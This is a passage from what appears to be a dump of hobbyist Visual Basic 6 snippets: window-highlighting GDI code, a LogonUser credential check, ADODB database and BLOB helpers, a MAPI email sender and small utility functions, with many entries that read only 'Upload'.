position\nPrivate Declare Function WindowFromPoint Lib \"user32\" (ByVal xPoint As Long, ByVal yPoint As Long) As Long ' Get the handle of the window that is foremost on a particular X, Y position. Used here to get the window under the cursor\nPrivate Declare Function GetWindowRect Lib \"user32\" (ByVal hwnd As Long, lpRect As RECT) As Long ' Get the window co-ordinates in a RECT structure\nPrivate Declare Function GetWindowDC Lib \"user32\" (ByVal hwnd As Long) As Long ' Retrieve a handle for the hDC of a window\nPrivate Declare Function ReleaseDC Lib \"user32\" (ByVal hwnd As Long, ByVal hdc As Long) As Long ' Release the memory occupied by an hDC\nPrivate Declare Function CreatePen Lib \"gdi32\" (ByVal nPenStyle As Long, ByVal nWidth As Long, ByVal crColor As Long) As Long ' Create a GDI graphics pen object\nPrivate Declare Function SelectObject Lib \"gdi32\" (ByVal hdc As Long, ByVal hObject As Long) As Long ' Used to select brushes, pens, and clipping regions\nPrivate Declare Function GetStockObject Lib \"gdi32\" (ByVal nIndex As Long) As Long ' Get hold of a \"stock\" object. I use it to get a Null Brush\nPrivate Declare Function SetROP2 Lib \"gdi32\" (ByVal hdc As Long, ByVal nDrawMode As Long) As Long ' Used to set the Raster OPeration of a window\nPrivate Declare Function DeleteObject Lib \"gdi32\" (ByVal hObject As Long) As Long ' Delete a GDI Object\nPrivate Declare Function Rectangle Lib \"gdi32\" (ByVal hdc As Long, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long ' GDI Graphics- draw a rectangle using current pen, brush, etc.\nPrivate Declare Function SetCapture Lib \"user32\" (ByVal hwnd As Long) As Long ' Set mouse events only for one window\nPrivate Declare Function ReleaseCapture Lib \"user32\" () As Long ' Release the mouse capture\nPrivate Declare Function CreateRectRgn Lib \"gdi32\" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long ' Create a rectangular region\nPrivate Declare Function SelectClipRgn Lib \"gdi32\" (ByVal hdc As Long, ByVal hRgn As Long) As Long ' Select the clipping region of an hDC\nPrivate Declare Function GetClipRgn Lib \"gdi32\" (ByVal hdc As Long, ByVal hRgn As Long) As Long ' Get the Clipping region of an hDC\nPrivate Const NULL_BRUSH = 5 ' Stock Object\nPrivate Selecting As Boolean ' Amd I currently selecting a window?\nPrivate BorderDrawn As Boolean ' Is there a border currently drawn that needs to be undrawn?\nPrivate Myhwnd As Long ' The current hWnd that has a border drawn on it\nPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\n' Set the selecting flag\nSelecting = True\n' Capture all mouse events to this window (form)\nSetCapture Me.hwnd\n' Simulate a mouse movement event to draw the border when the mouse button goes down\nForm_MouseMove 0, Shift, X, Y\nEnd Sub\nPrivate Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\n' Security catch to make sure that the graphics don't get mucked up when not selecting\nIf Selecting = False Then Exit Sub\n' Call the \"Draw\" subroutine\nDraw\nEnd Sub\nPrivate Sub Form_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)\n' If not selecting, then skip\nIf Selecting = False Then Exit Sub\n' Clean up the graphics drawn\nUnDraw\n' Release mouse capture\nReleaseCapture\n' Not selecting\nSelecting = False\n' Reset the variable\nMyhwnd = 0\nEnd Sub\nPrivate Sub Draw()\nDim Cursor As POINTAPI ' Cursor position\nDim RetVal As Long ' Dummy returnvalue\nDim hdc As Long ' hDC that we're going to be using\nDim Pen As Long ' Handle to a GDI Pen object\nDim Brush As Long ' Handle to a GDI Brush object\nDim OldPen As Long ' Handle to previous Pen object (to restore it)\nDim OldBrush As Long ' Handle to previous brush object (to restore it)\nDim OldROP As Long ' Value of the previous ROP\nDim Region As Long ' Handle to a GDI Region object that I create\nDim OldRegion As Long ' Handle to previous Region object for the hDC\nDim FullWind As RECT ' the bounding rectangle of the window in screen coords\nDim Draw As RECT ' The drawing rectangle\n'\n' Getting all of the ingredients ready\n'\n' Get the cursor\nGetCursorPos Cursor\n' Get the window\nRetVal = WindowFromPoint(Cursor.X, Cursor.Y)\n' If the new hWnd is the same as the old one, skip drawing it, so to avoid flicker\nIf RetVal = Myhwnd Then Exit Sub\n' New hWnd. If there is currently a border drawn, undraw it.\nIf BorderDrawn = True Then UnDraw\n' Set the BorderDrawn property to true, as we're just about to draw it.\nBorderDrawn = True\n' And set the hWnd to the new value.\n' Note, I didn't do it before, because the UnDraw routine uses the Myhwnd variable\nMyhwnd = RetVal\n' Print the hWnd on the form in Hex (just so see what windows are at work)\nMe.Cls\nMe.Print Hex(Myhwnd)\n' You could extract other information from the window, such as window title,\n' class name, parent, etc., and print it here, too.\n' Get the full Rect of the window in screen co-ords\nGetWindowRect Myhwnd, FullWind\n' Create a region with width and height of the window\nRegion = CreateRectRgn(0, 0, FullWind.Right - FullWind.Left, FullWind.Bottom - FullWind.Top)\n' Create an hDC for the hWnd\n' Note: GetDC retrieves the CLIENT AREA hDC. We want the WHOLE WINDOW, including Non-Client\n' stuff like title bar, menu, border, etc.\nhdc = GetWindowDC(Myhwnd)\n' Save the old region\nRetVal = GetClipRgn(hdc, OldRegion)\n' Retval = 0: no region 1: Region copied -1: error\n' Select the new region\nRetVal = SelectObject(hdc, Region)\n' Create a pen\nPen = CreatePen(DrawStyleConstants.vbSolid, 6, 0) ' Draw Solid lines, width 6, and color black\n' Select the pen\n' A pen draws the lines\nOldPen = SelectObject(hdc, Pen)\n' Create a brush\n' A brush is the filling for a shape\n' I need to set it to a null brush so that it doesn't edit anything\nBrush = GetStockObject(NULL_BRUSH)\n' Select the brush\nOldBrush = SelectObject(hdc, Brush)\n' Select the ROP\nOldROP = SetROP2(hdc, DrawModeConstants.vbInvert) ' vbInvert means, whatever is draw,\n ' invert those pixels. This means that I can undraw it by doing the same.\n'\n' The Drawing Bits\n'\n' Put a box around the outside of the window, using the current hDC.\n' These coords are in device co-ordinates, i.e., of the hDC.\nWith Draw\n .Left = 0\n .Top = 0\n .Bottom = FullWind.Bottom - FullWind.Top\n .Right = FullWind.Right - FullWind.Left\n Rectangle hdc, .Left, .Top, .Right, .Bottom ' Really easy to understand - draw a rectangle, hDC, and coordinates\nEnd With\n'\n' The Washing Up bits\n'\n' This is a very important part, as it releases memory that has been taken up.\n' If we don't do this, windows crashes due to a memory leak.\n' You probably get a blue screen (altohugh I'm not sure)\n'\n' Get back the old region\nSelectObject hdc, OldRegion\n' Return the previous ROP\nSetROP2 hdc, OldROP\n' Return to the previous brush\nSelectObject hdc, OldBrush\n' Return the previous pen\nSelectObject hdc, OldPen\n' Delete the Brush I created\nDeleteObject Brush\n' Delete the Pen I created\nDeleteObject Pen\n' Delete the region I created\nDeleteObject Region\n' Release the hDC back to window's resource pool\nReleaseDC Myhwnd, hdc\nEnd Sub\nPrivate Sub UnDraw()\n'\n' Note, this sub is almost identical to the other one, except it doesn't go looking\n' for the hWnd, it accesses the old one. Also, it doesn't clear the form.\n' Otherwise, it just draws on top of the old one with an invert pen.\n' 2 inverts = original\n'\n' If there hasn't been a border drawn, then get out of here.\nIf BorderDrawn = False Then Exit Sub\n' Now set it\nBorderDrawn = False\n' If there isn't a current hWnd, then exit.\n' That's why in the mouseup event we get out, because otherwise a border would be draw\n' around the old window\nIf Myhwnd = 0 Then Exit Sub\nDim Cursor As POINTAPI ' Cursor position\nDim RetVal As Long ' Dummy returnvalue\nDim hdc As Long ' hDC that we're going to be using\nDim Pen As Long ' Handle to a GDI Pen object\nDim Brush As Long ' Handle to a GDI Brush object\nDim OldPen As Long ' Handle to previous Pen object (to restore it)\nDim OldBrush As Long ' Handle to previous brush object (to restore it)\nDim OldROP As Long ' Value of the previous ROP\nDim Region As Long ' Handle to a GDI Region object that I create\nDim OldRegion As Long ' Handle to previous Region object for the hDC\nDim FullWind As RECT ' the bounding rectangle of the window in screen coords\nDim Draw As RECT ' The drawing rectangle\n'\n' Getting all of the ingredients ready\n'\n' Get the full Rect of the window in screen co-ords\nGetWindowRect Myhwnd, FullWind\n' Create a region with width and height of the window\nRegion = CreateRectRgn(0, 0, FullWind.Right - FullWind.Left, FullWind.Bottom - FullWind.Top)\n' Create an hDC for the hWnd\n' Note: GetDC retrieves the CLIENT AREA hDC. We want the WHOLE WINDOW, including Non-Client\n' stuff like title bar, menu, border, etc.\nhdc = GetWindowDC(Myhwnd)\n' Save the old region\nRetVal = GetClipRgn(hdc, OldRegion)\n' Retval = 0: no region 1: Region copied -1: error\n' Select the new region\nRetVal = SelectObject(hdc, Region)\n' Create a pen\nPen = CreatePen(DrawStyleConstants.vbSolid, 6, 0) ' Draw Solid lines, width 6, and color black\n' Select the pen\n' A pen draws the lines\nOldPen = SelectObject(hdc, Pen)\n' Create a brush\n' A brush is the filling for a shape\n' I need to set it to a null brush so that it doesn't edit anything\nBrush = GetStockObject(NULL_BRUSH)\n' Select the brush\nOldBrush = SelectObject(hdc, Brush)\n' Select the ROP\nOldROP = SetROP2(hdc, DrawModeConstants.vbInvert) ' vbInvert means, whatever is draw,\n ' invert those pixels. This means that I can undraw it by doing the same.\n'\n' The Drawing Bits\n'\n' Put a box around the outside of the window, using the current hDC.\n' These coords are in device co-ordinates, i.e., of the hDC.\nWith Draw\n .Left = 0\n .Top = 0\n .Bottom = FullWind.Bottom - FullWind.Top\n .Right = FullWind.Right - FullWind.Left\n Rectangle hdc, .Left, .Top, .Right, .Bottom ' Really easy to understand - draw a rectangle, hDC, and coordinates\nEnd With\n'\n' The Washing Up bits\n'\n' This is a very important part, as it releases memory that has been taken up.\n' If we don't do this, windows crashes due to a memory leak.\n' You probably get a blue screen (altohugh I'm not sure)\n'\n' Get back the old region\nSelectObject hdc, OldRegion\n' Return the previous ROP\nSetROP2 hdc, OldROP\n' Return to the previous brush\nSelectObject hdc, OldBrush\n' Return the previous pen\nSelectObject hdc, OldPen\n' Delete the Brush I created\nDeleteObject Brush\n' Delete the Pen I created\nDeleteObject Pen\n' Delete the region I created\nDeleteObject Region\n' Release the hDC back to window's resource pool\nReleaseDC Myhwnd, hdc\nEnd Sub\n"},{"WorldId":1,"id":6273,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6930,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6276,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6285,"LineNumber":1,"line":"'You can place the function in any event. \n'Call function like this:\nCall EnumWindows(AddressOf EnumWindowProc, &H0)"},{"WorldId":1,"id":6287,"LineNumber":1,"line":"Private Sub Timer1_Timer()\n Label1.Move Label1.Left, Label1.Top - 10\nEnd Sub"},{"WorldId":1,"id":6749,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6299,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7440,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7543,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7056,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7057,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5689,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5643,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9222,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5253,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5254,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4129,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7265,"LineNumber":1,"line":"Private Sub Command1_Click()\nDim szDomain As String\nDim szUser As String\nDim szPassword As String\nDim lToken As Long\nDim lResult As Long\nszDomain = Text1.Text & Chr(0)\nszUser = Text2.Text & Chr(0)\nszPassword = Text3.Text & Chr(0)\nlToken = 0&\nlResult = LogonUser(szUser, _\n szDomain, _\n szPassword, _\n ByVal LOGON32_LOGON_BATCH, _\n ByVal LOGON32_PROVIDER_DEFAULT, _\n lToken)\nIf lResult = 0 Then\n MsgBox \"Error: \" & Err.LastDllError\nElse\n If lToken = 0 Then\n MsgBox \"Not Valid user, password or domain\"\n Else\n MsgBox \"Valid User\"\n End If\nEnd If\nEnd Sub"},{"WorldId":1,"id":6302,"LineNumber":1,"line":"Private Function convertDOStoUNIX(DOSstring As String) As String\n convertDOStoUNIX = Replace(DOSstring, vbCrLf, vbLf, 1, Len(DOSstring), vbTextCompare)\nEnd Function\nPrivate Function convertUNIXtoDOS(UNIXstring As String) As String\n convertUNIXtoDOS = Replace(UNIXstring, vbLf, vbCrLf, 1, Len(UNIXstring), vbTextCompare)\nEnd Function\n"},{"WorldId":1,"id":8008,"LineNumber":1,"line":"Public Function checkIfEmail(email As String) As Boolean\n Dim i As Integer\n Dim char As String\n Dim c() As String\n \n 'checks if the string has the standard email pattern:\n If Not email Like \"*@*.*\" Then\n checkIfEmail = False\n Exit Function\n End If\n \n 'splits the email-string with a \".\" delimeter and returns the subtring in the c-string array\n c = Split(email, \".\", -1, vbBinaryCompare)\n \n 'checks if the last substring has a length of either 2 or 3\n If Not Len(c(UBound(c))) = 3 And Not Len(c(UBound(c))) = 2 Then\n checkIfEmail = False\n Exit Function\n End If\n \n 'steps through the last substring to see if it contains anything else unless characters from a to z\n For i = 1 To Len(c(UBound(c))) Step 1\n char = Mid(c(UBound(c)), i, 1)\n If Not (LCase(char) <= Chr(122)) Or Not (LCase(char) >= Chr(97)) Then\n checkIfEmail = False\n Exit Function\n End If\n Next i\n \n 'steps through the whole email string to see if it contains any special characters:\n For i = 1 To Len(email) Step 1\n char = Mid(email, i, 1)\n If (LCase(char) <= Chr(122) And LCase(char) >= Chr(97)) _\n Or (char >= Chr(48) And char <= Chr(57)) _\n Or (char = \".\") _\n Or (char = \"@\") _\n Or (char = \"-\") _\n Or (char = \"_\") Then\n checkIfEmail = True\n Else\n checkIfEmail = False\n Exit Function\n End If\n Next i\n \nEnd Function\n"},{"WorldId":1,"id":6304,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6306,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6307,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10069,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6312,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6313,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6905,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6321,"LineNumber":1,"line":"'Put This part in a module\n'======================================\n'Starrt of Module\n'======================================\nOption Explicit\nPublic Enum RSMethod\n VIEW_RECORD = 0\n EDIT_RECORD = 1\n EXEC_SQL = 2\n NEW_RECORD = 3\nEnd Enum\nFunction dbConnection(strDatabaseType As String, strDBService As String, Optional strUserID As String, Optional strPassword As String) As ADODB.Connection\n \n Dim objDB As New ADODB.Connection\n Dim strConnectionString As String\n \n If strDatabaseType = \"ORACLE\" Then\n 'Define ORACLE database connection string\n strConnectionString = \"Driver={Microsoft ODBC Driver for Oracle};ConnectString=\" & strDBService & \";UID=\" & strUserID & \";PWD=\" & strPassword & \";\"\n ElseIf strDatabaseType = \"MSACCESS\" Then\n 'Define Microsoft Access database connection string\n strConnectionString = \"DBQ=\" & strDBService\n strConnectionString = \"DRIVER={Microsoft Access Driver (*.mdb)}; \" & strConnectionString\n End If\n \n With objDB\n .Mode = adModeReadWrite ' connection mode ???\n .ConnectionTimeout = 10 'Indicates how long to wait while establishing a connection before terminating the attempt and generating an error.\n .CommandTimeout = 5 ' seconds given to execute any command\n .CursorLocation = adUseClient ' use the appropriate cursor ???\n .Open strConnectionString 'open the database connection\n \n End With\n \n Set dbConnection = objDB\nEnd Function\nFunction CreateRecordSet(ByRef dbConn As ADODB.Connection, ByRef rs As ADODB.Recordset, ByVal method As RSMethod, Optional strSQL As String, Optional TableName As String) As ADODB.Recordset\n' close the recordset first if it's open...\n' otherwise an error will occured\n'(open a recordset which is already opened...)\nif rs.State=1 then\nrs.close \nend if\n Select Case method\n Case RSMethod.NEW_RECORD\n rs.ActiveConnection = dbConn\n rs.CursorType = adOpenKeyset\n rs.LockType = adLockOptimistic\n rs.CursorLocation = adUseServer\n rs.Open TableName\n \n Case RSMethod.EDIT_RECORD\n rs.ActiveConnection = dbConn\n rs.Source = strSQL\n rs.CursorType = adOpenKeyset\n rs.LockType = adLockOptimistic\n rs.CursorLocation = adUseClient\n rs.Open\n' Debug.Print \"SQL Statement in EDIT Mode (Createrecordset) : \" & strSQL\n' Debug.Print \"Found \" & rs.RecordCount & \" records\"\n \n Case RSMethod.VIEW_RECORD\n \n rs.ActiveConnection = dbConn 'dbConnection 'dbConn\n rs.Source = strSQL\n rs.CursorType = adOpenForwardOnly\n rs.CursorLocation = adUseClient\n rs.Open\n' Debug.Print \"Found \" & rs.RecordCount & \" records\"\n rs.ActiveConnection = Nothing\n \n Case RSMethod.EXEC_SQL\n Set rs = dbConn.Execute(strSQL)\n End Select\n Set CreateRecordSet = rs\nEnd Function\n'======================================\n'End Of Module\n'======================================\n'=================================================\n'======================================\n'Sample of subroutines...\n'======================================\nSub Add_New_Record()\n Dim objRecSet As New ADODB.Recordset\n Dim objConn As New ADODB.Connection\n Dim strUserID As String\n Dim strPassword As String\n Dim strTableName As String\n Dim strDBType As String\n Dim strDBName As String\n \n strTableName = \"YOURTABLE\"\n strPassword = \"YourPassword\"\n strUserID = \"YourUserID\"\n \n If strDBType = \"MSACCESS\" Then\n ' strDBName is your Database Name\n strDBName = App.Path & \"\\YourAccessDB.mdb\"\n \n ElseIf strDBType = \"ORACLE\" Then\n ' strDBName is your Oracle Service Name\n strDBName = \"YOUR_ORACLE_SERVICE_NAME\"\n strTableName = strUserID & \".\" & strTableName\n 'Table name format ::> USERID.TABLENAME\n Else\n MsgBox \"Database is other than ORACLE or Microsoft\"\n Exit Sub\n End If\n \n Set objConn = dbConnection(strDBType, strDBName, \"userid\", \"password\")\n 'send NEW_RECORD and strTableName as a part of parameters\n Set objRecSet = CreateRecordSet(objConn, objRecSet, NEW_RECORD, , strTableName)\n \n objConn.BeginTrans\n With objRecSet\n .AddNew\n .Fields(\"FIELD1\").Value = \"your value1\"\n .Fields(\"FIELD2\").Value = \"your value2\"\n .Fields(\"FIELD3\").Value = \"your value3\"\n .Fields(\"FIELD4\").Value = \"your value4\"\n .Fields(\"FIELD5\").Value = \"your value5\"\n .Update\n End With\n If objConn.Errors.Count = 0 Then\n objConn.CommitTrans\n Else\n objConn.RollbackTrans\n End If\n \n objRecSet.Close\n objConn.Close\n Set objRecSet = Nothing\n Set objConn = Nothing\nEnd Sub\nSub View_Record_Only()\n Dim strSQL As String\n Dim strDBName As String\n Dim strDBType As String\n Dim strUserID As String\n Dim strPassword As String\n \n Dim objRecSet As New ADODB.Recordset\n Dim objConn As New ADODB.Connection\n \n If strDBType = \"MSACCESS\" Then\n ' strDBName is your Database Name\n strDBName = App.Path & \"\\YourAccessDB.mdb\"\n \n ElseIf strDBType = \"ORACLE\" Then\n ' strDBName is your Oracle Service Name\n strDBName = \"YOUR_ORACLE_SERVICE_NAME\"\n \n Else\n MsgBox \"Database is other than ORACLE or Microsoft\"\n Exit Sub\n End If\n \n strPassword = \"YourPassword\"\n strUserID = \"YourUserID\"\n strSQL = \"SELECT * from USER_TABLE\"\n \n Set objConn = dbConnection(strDBType, strDBName, \"userid\", \"password\")\n 'create a disconnected recordset\n Set objRecSet = CreateRecordSet(objConn, objRecSet, VIEW_RECORD, strSQL)\n objConn.Close\n Set objConn = Nothing\n 'manipulate the recordset here.....\n 'manipulate the recordset here.....\n 'manipulate the recordset here.....\n objRecSet.Close\n Set objRecSet = Nothing\nEnd Sub\nSub Edit_Existing_Record()\n Dim objRecSet As New ADODB.Recordset\n Dim objConn As New ADODB.Connection\n Dim strUserID As String\n Dim strPassword As String\n Dim strSQL As String\n Dim strDBType As String\n Dim strDBName As String\n \n strTableName = \"YOURTABLE\"\n strPassword = \"YourPassword\"\n strUserID = \"YourUserID\"\n \n If strDBType = \"MSACCESS\" Then\n ' strDBName is your Database Name\n strDBName = App.Path & \"\\YourAccessDB.mdb\"\n \n ElseIf strDBType = \"ORACLE\" Then\n ' strDBName is your Oracle Service Name\n strDBName = \"YOUR_ORACLE_SERVICE_NAME\"\n Else\n MsgBox \"Database is other than ORACLE or Microsoft\"\n Exit Sub\n End If\n strSQL = \"Select * from YOUR_TABLE\"\n Set objConn = dbConnection(strDBType, strDBName, \"userid\", \"password\")\n 'send EDIT_RECORD and strSQL as a part of parameters\n Set objRecSet = CreateRecordSet(objConn, objRecSet, EDIT_RECORD, strSQL)\n \n With objRecSet\n .Fields(\"FIELD1\").Value = \"your value1\"\n .Update\n End With\n objRecSet.Close\n objConn.Close\n Set objRecSet = Nothing\n Set objConn = Nothing\nEnd Sub\n'======================================\n'End of Sample of subroutines...\n'======================================\n"},{"WorldId":1,"id":6319,"LineNumber":1,"line":"Function AddLongRaw(ByVal strFileName As String, ByRef objRecSet As ADODB.Recordset, ByVal strFieldName As String) As Boolean\n 'How to call AddLongRaw function :\n 'dim bool as boolean\n 'dim objRecSet as new adodb.recordset\n 'dim strFieldeName as string\n 'strFieldName = objRecSet.Fields(\"YOUR_BLOB_FILE\").Name\n 'bool = AddLongRaw(strSourceName, objRecSet, strFieldName)\n \n 'if bool then\n 'Successfully upload the BLOB file into database\n 'else\n 'Failed to upload the BLOB file into database\n 'End If\n \n AddLongRaw = False\n Dim ByteData() As Byte 'Byte array for Blob data.\n Dim SourceFile As Integer\n Dim FileLength As Long\n Dim Numblocks As Integer\n Dim LeftOver As Long\n Dim i As Integer\n Const BlockSize = 10000 'This size can be experimented with for\n SourceFile = FreeFile\n Open strFileName For Binary Access Read As SourceFile\n FileLength = LOF(SourceFile) ' Get the length of the file.\n \n 'Debug.Print \"Filelength is \" & FileLength\n \n If FileLength = 0 Then\n Close SourceFile\n AddLongRaw = False\n Exit Function\n Else\n Numblocks = FileLength / BlockSize\n LeftOver = FileLength Mod BlockSize\n ReDim ByteData(LeftOver)\n Get SourceFile, , ByteData()\n objRecSet.Fields(strFieldName).AppendChunk ByteData()\n ReDim ByteData(BlockSize)\n For i = 1 To Numblocks\n Get SourceFile, , ByteData()\n objRecSet.Fields(strFieldName).AppendChunk ByteData()\n Next i\n AddLongRaw = True\n Close SourceFile\n End If\nEnd Function\nFunction GetLongRaw(strFileName As String, objRecSet As ADODB.Recordset, strBLOBFieldName As String) As Boolean\n GetLongRaw = False\n Dim ByteData() As Byte 'Byte array for file.\n Dim DestFileNum As Integer\n Dim DiskFile As String\n Dim FileLength As Long\n Dim Numblocks As Integer\n Const BlockSize = 10000\n Dim LeftOver As Long\n Dim i As Integer\n \n FileLength = objRecSet.Fields(strBLOBFieldName).ActualSize\n \n ' Remove any existing destination file.\n DiskFile = strFileName\n If Len(Dir$(DiskFile)) > 0 Then\n Kill DiskFile\n End If\n \n DestFileNum = FreeFile\n Open DiskFile For Binary As DestFileNum\n Numblocks = FileLength / BlockSize\n LeftOver = FileLength Mod BlockSize\n \n ByteData() = objRecSet.Fields(strBLOBFieldName).GetChunk(LeftOver)\n Put DestFileNum, , ByteData()\n For i = 1 To Numblocks\n ByteData() = objRecSet.Fields(strBLOBFieldName).GetChunk(BlockSize)\n Put DestFileNum, , ByteData()\n Next i\n Close DestFileNum\n GetLongRaw = True\n'============\n'The object file is now located at strFileName\n'============\nEnd Function\n\n"},{"WorldId":1,"id":6320,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6805,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6325,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6353,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6333,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6364,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6370,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6460,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6377,"LineNumber":1,"line":"Public Function SendMAPIMail( _\nMsgTo As String, _\nOptional CC As String = \"\", _\nOptional Subject As String = \"\", _\nOptional Body As String = \"\", _\nOptional Att As String = \"\") _\nAs Boolean\n 'Code by Conrad\n 'email cbrits@monotix.co.za\n \n '-----------------------------------------------\n '** PLEASE NOTE!! **\n 'You need a form with both\n 'controls (MapiMessages and MapiSession) on it\n '\n 'Do the following:\n '-----------------\n ' 1.Add a form, and name it frmMail.\n ' 2.Go to Components...(Project menu) and find\n ' Microsoft MAPI Controls.\n ' 3.Check it, and click OK. There will now \n ' be two\n ' new controls on your Control Tab.\n ' 4.Add the two new controls to your form.\n '\n '-----------------------------------------------\n On Error GoTo ErrHndl\n \n \n Dim MAPISes As MAPISession\n Dim MAPIMsgs As MAPIMessages\n \n \n Screen.MousePointer = 11\n \n 'set the objects to the controls of the form\n Set MAPISes = frmMail.MAPISession1\n Set MAPIMsgs = frmMail.MAPIMessages1\n \n 'download new mail = false\n MAPISes.DownLoadMail = False\n 'show the logon interface for the mail \n 'account = true\n MAPISes.LogonUI = True\n 'sign on to selected account\n MAPISes.SignOn\n \n DoEvents\n \n 'check if logon was successful\n If MAPISes.SessionID = 0 Then\n SendMAPIMail = False\n MsgBox \"Error on login to MAPI\", _\n vbCritical, \"MAPI\"\n Exit Function\n End If\n \n 'set the session IDs the same on both objects\n MAPIMsgs.SessionID = MAPISes.SessionID\n \n 'Set the MSgIndex to -1, this needs to be \n 'done for the Compose event to work\n MAPIMsgs.MsgIndex = -1\n 'compose a new message\n MAPIMsgs.Compose\n \n 'don't show the resolve address interface\n MAPIMsgs.AddressResolveUI = False\n \n \n 'set the recipient\n MAPIMsgs.RecipIndex = 0\n MAPIMsgs.RecipType = mapToList\n MAPIMsgs.RecipAddress = MsgTo\n 'resolve the recipient's email addresses\n MAPIMsgs.ResolveName\n \n 'set the CC recipient\n MAPIMsgs.RecipIndex = 1\n MAPIMsgs.RecipType = mapCcList\n MAPIMsgs.RecipAddress = CC\n 'resolve the recipient's email addresses\n MAPIMsgs.ResolveName\n \n 'set the subject\n MAPIMsgs.MsgSubject = Subject\n \n 'set the Message/Body/NoteText\n MAPIMsgs.MsgNoteText = Body\n \n If Att <> \"\" Then\n 'set an attachment\n MAPIMsgs.AttachmentPathName = Att\n End If\n \n 'send the message\n MAPIMsgs.Send\n \n 'close the current session\n MAPISes.SignOff\n \n 'clear objects\n Set MAPIMsgs = Nothing\n Set MAPISes = Nothing\n \n SendMAPIMail = True\n \n Screen.MousePointer = 0\n Exit Function\nErrHndl:\n Set MAPIMsgs = Nothing\n Set MAPISes = Nothing\n \n Screen.MousePointer = 0\n MsgBox \"Error [\" & Err & \"] \" & Error, vbCritical, \"MAPI\"\n Screen.MousePointer = 11\n \n On Error Resume Next\n frmMail.MAPISession1.SignOff\n SendMAPIMail = False\n \n Screen.MousePointer = 0\nEnd Function\n"},{"WorldId":1,"id":6477,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8200,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8804,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6417,"LineNumber":1,"line":"MYHEX$ = \"7FFFFFFF\"\nMydec& = Val(\"&H\" & MYHEX$)\n\n"},{"WorldId":1,"id":6400,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9350,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9389,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9798,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9799,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9667,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10305,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6410,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6422,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6465,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8302,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6449,"LineNumber":1,"line":"'find out what keyboard language a theard is \nPublic Sub FindTheardlanguage ()\nDim TheardId As Long\nDim TheardLang As Long\n TheardId = get_threadId 'call function\n TheardLang = GetKeyboardLayout(ByVal TheardId)\n TheardLang = TheardLang Mod 10000\n \n Select Case TheardLang \n Case 9721 'english\n 'do your stuff\n \n Case 1869 'hebrew\n 'do your stuff\n \n End Select\n \nEnd Sub\n\nPublic Function get_threadId() As Long\nDim threadid As Long, processid As Long\nget_threadId = GetWindowThreadProcessId(winHWND, processid)\nEnd Function\n"},{"WorldId":1,"id":8865,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6461,"LineNumber":1,"line":"Function GetFreeSpace(strPath as String) As Double\n Dim nFreeBytesToCaller As LargeInt\n Dim nTotalBytes As LargeInt\n Dim nTotalFreeBytes As LargeInt\n \n strPath = Trim(strPath)\n If Right(strPath, 1) <> \"\\\" Then\n strPath = strPath & \"\\\"\n End If\n \n If GetDiskFreeSpaceEx(strPath, nFreeBytesToCaller, nTotalBytes, nTotalFreeBytes) <> 0 Then\n GetFreeSpace = CULong( _\n nFreeBytesToCaller.HiDWord.Byte1, _\n nFreeBytesToCaller.HiDWord.Byte2, _\n nFreeBytesToCaller.HiDWord.Byte3, _\n nFreeBytesToCaller.HiDWord.Byte4) * 2 ^ 32 + _\n CULong(nFreeBytesToCaller.LoDWord.Byte1, _\n nFreeBytesToCaller.LoDWord.Byte2, _\n nFreeBytesToCaller.LoDWord.Byte3, _\n nFreeBytesToCaller.LoDWord.Byte4)\n End If\nEnd Function\nFunction CULong(Byte1 As Byte, Byte2 As Byte, Byte3 As Byte, Byte4 As Byte) As Double\n CULong = Byte4 * 2 ^ 24 + Byte3 * 2 ^ 16 + Byte2 * 2 ^ 8 + Byte1\nEnd 